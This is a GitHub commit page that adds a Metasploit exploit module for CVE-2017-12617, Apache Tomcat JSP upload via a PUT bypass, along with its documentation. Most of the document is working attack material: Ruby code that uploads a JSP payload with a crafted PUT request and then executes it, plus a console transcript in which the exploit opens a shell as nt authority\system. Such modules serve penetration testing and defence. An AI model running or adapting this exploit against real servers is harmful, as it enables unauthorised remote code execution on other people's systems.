Skip to content

Commit 1786634

Browse files
committed
Land rapid7#9059, Tomcat JSP Upload via PUT Bypass
2 parents 84fe084 + 03e7797 commit 1786634

File tree

2 files changed

+166
-0
lines changed

2 files changed

+166
-0
lines changed
Lines changed: 53 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,53 @@
1+
## Description
2+
3+
This module uses a PUT request bypass to upload a jsp shell to a vulnerable Apache Tomcat configuration.
4+
5+
## Vulnerable Application
6+
7+
When running Apache Tomcat versions 9.0.0.M1 to 9.0.0, 8.5.0 to 8.5.22, 8.0.0.RC1 to 8.0.46 and 7.0.0 to 7.0.81 with HTTP PUTs enabled (e.g. via setting the readonly initialization parameter of the Default servlet to false) it was possible to upload a JSP file to the server via a specially crafted request. This JSP could then be requested and any code it contained would be executed by the server. http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-12617
8+
9+
To set up a vulnerable installation:
10+
1. Download and install an affected version of Apache Tomcat.
11+
2. Download and install Java. [Choose an appropriate version](http://tomcat.apache.org/whichversion.html) based on the Apache Tomcat version you downloaded.
12+
3. In conf directory of Apache Tomcat, edit the web.xml file and set the "readonly" parameter to false for the default servlet.
13+
4. Restart the Tomcat service.
14+
15+
16+
## Verification Steps
17+
18+
1. Do: ```use exploit/multi/http/tomcat_jsp_upload_bypass```
19+
1. Do: ```set payload java/jsp_shell_bind_tcp```
20+
2. Do: ```set RHOST [IP]```
21+
3. Do: ```set RPORT [PORT]```
22+
4. Do: ```check```
23+
5. It should be reported as vulnerable
24+
6. Do: ```run```
25+
7. You should get a shell
26+
27+
## Scenarios
28+
29+
```
30+
msf > use exploit/multi/http/tomcat_jsp_upload_bypass
31+
msf exploit(tomcat_jsp_upload_bypass) > set payload java/jsp_shell_bind_tcp
32+
payload => java/jsp_shell_bind_tcp
33+
msf exploit(tomcat_jsp_upload_bypass) > set RHOST 10.10.40.93
34+
RHOST => 10.10.40.93
35+
msf exploit(tomcat_jsp_upload_bypass) > set RPORT 8080
36+
RPORT => 8080
37+
msf exploit(tomcat_jsp_upload_bypass) > check
38+
[+] 10.10.40.93:8080 The target is vulnerable.
39+
msf exploit(tomcat_jsp_upload_bypass) > run
40+
41+
[*] Started bind handler
42+
[*] Uploading payload...
43+
[*] Payload executed!
44+
[*] Command shell session 1 opened (10.10.230.230:39979 -> 10.10.40.93:4444) at 2017-10-11 07:43:08 -0400
45+
46+
Microsoft Windows [Version 6.3.9600]
47+
(c) 2013 Microsoft Corporation. All rights reserved.
48+
49+
C:\Program Files\apache-tomcat-7.0.81>whoami
50+
whoami
51+
nt authority\system
52+
53+
```
Lines changed: 113 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,113 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
8+
Rank = ExcellentRanking
9+
10+
include Msf::Exploit::Remote::HttpClient
11+
12+
def initialize(info = {})
13+
super(update_info(info,
14+
'Name' => 'Tomcat RCE via JSP Upload Bypass',
15+
'Description' => %q{
16+
This module uploads a jsp payload and executes it.
17+
},
18+
'Author' => 'peewpw',
19+
'License' => MSF_LICENSE,
20+
'References' =>
21+
[
22+
[ 'CVE', '2017-12617' ],
23+
[ 'URL', 'http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-12617' ],
24+
[ 'URL', 'https://bz.apache.org/bugzilla/show_bug.cgi?id=61542' ]
25+
],
26+
'Privileged' => false,
27+
'Platform' => %w{ linux win }, # others?
28+
'Targets' =>
29+
[
30+
[ 'Automatic',
31+
{
32+
'Arch' => ARCH_JAVA,
33+
'Platform' => 'win'
34+
}
35+
],
36+
[ 'Java Windows',
37+
{
38+
'Arch' => ARCH_JAVA,
39+
'Platform' => 'win'
40+
}
41+
],
42+
[ 'Java Linux',
43+
{
44+
'Arch' => ARCH_JAVA,
45+
'Platform' => 'linux'
46+
}
47+
]
48+
],
49+
'DisclosureDate' => 'Oct 03 2017',
50+
'DefaultTarget' => 0))
51+
52+
register_options([
53+
OptString.new('TARGETURI', [true, "The URI path of the Tomcat installation", "/"]),
54+
Opt::RPORT(8080)
55+
])
56+
end
57+
58+
def check
59+
testurl = Rex::Text::rand_text_alpha(10)
60+
testcontent = Rex::Text::rand_text_alpha(10)
61+
62+
res = send_request_cgi({
63+
'uri' => normalize_uri(target_uri,"#{testurl}.jsp/"),
64+
'method' => 'PUT',
65+
'data' => "<% out.println(\"#{testcontent}\");%>"
66+
})
67+
68+
res1 = send_request_cgi({
69+
'uri' => normalize_uri(target_uri,"#{testurl}.jsp"),
70+
'method' => 'GET'
71+
})
72+
73+
if res1 and res1.body.include?(testcontent)
74+
res2 = send_request_cgi(
75+
opts = {
76+
'uri' => normalize_uri(target_uri,"#{testurl}.jsp/"),
77+
'method' => 'DELETE'
78+
},
79+
timeout = 1
80+
)
81+
return Exploit::CheckCode::Vulnerable
82+
end
83+
84+
Exploit::CheckCode::Safe
85+
end
86+
87+
def exploit
88+
89+
print_status("Uploading payload...")
90+
testurl = Rex::Text::rand_text_alpha(10)
91+
92+
res = send_request_cgi({
93+
'uri' => normalize_uri(target_uri,"#{testurl}.jsp/"),
94+
'method' => 'PUT',
95+
'data' => "#{payload.encoded}"
96+
})
97+
if res and res.code == 201
98+
res1 = send_request_cgi({
99+
'uri' => normalize_uri(target_uri,"#{testurl}.jsp"),
100+
'method' => 'GET'
101+
})
102+
if res1 and res1.code == 200
103+
print_status("Payload executed!")
104+
else
105+
fail_with(Failure::Unknown, "Failed to execute the payload")
106+
end
107+
else
108+
fail_with(Failure::Unknown, "Failed to upload the payload")
109+
end
110+
111+
end
112+
end
113+

0 commit comments

Comments
 (0)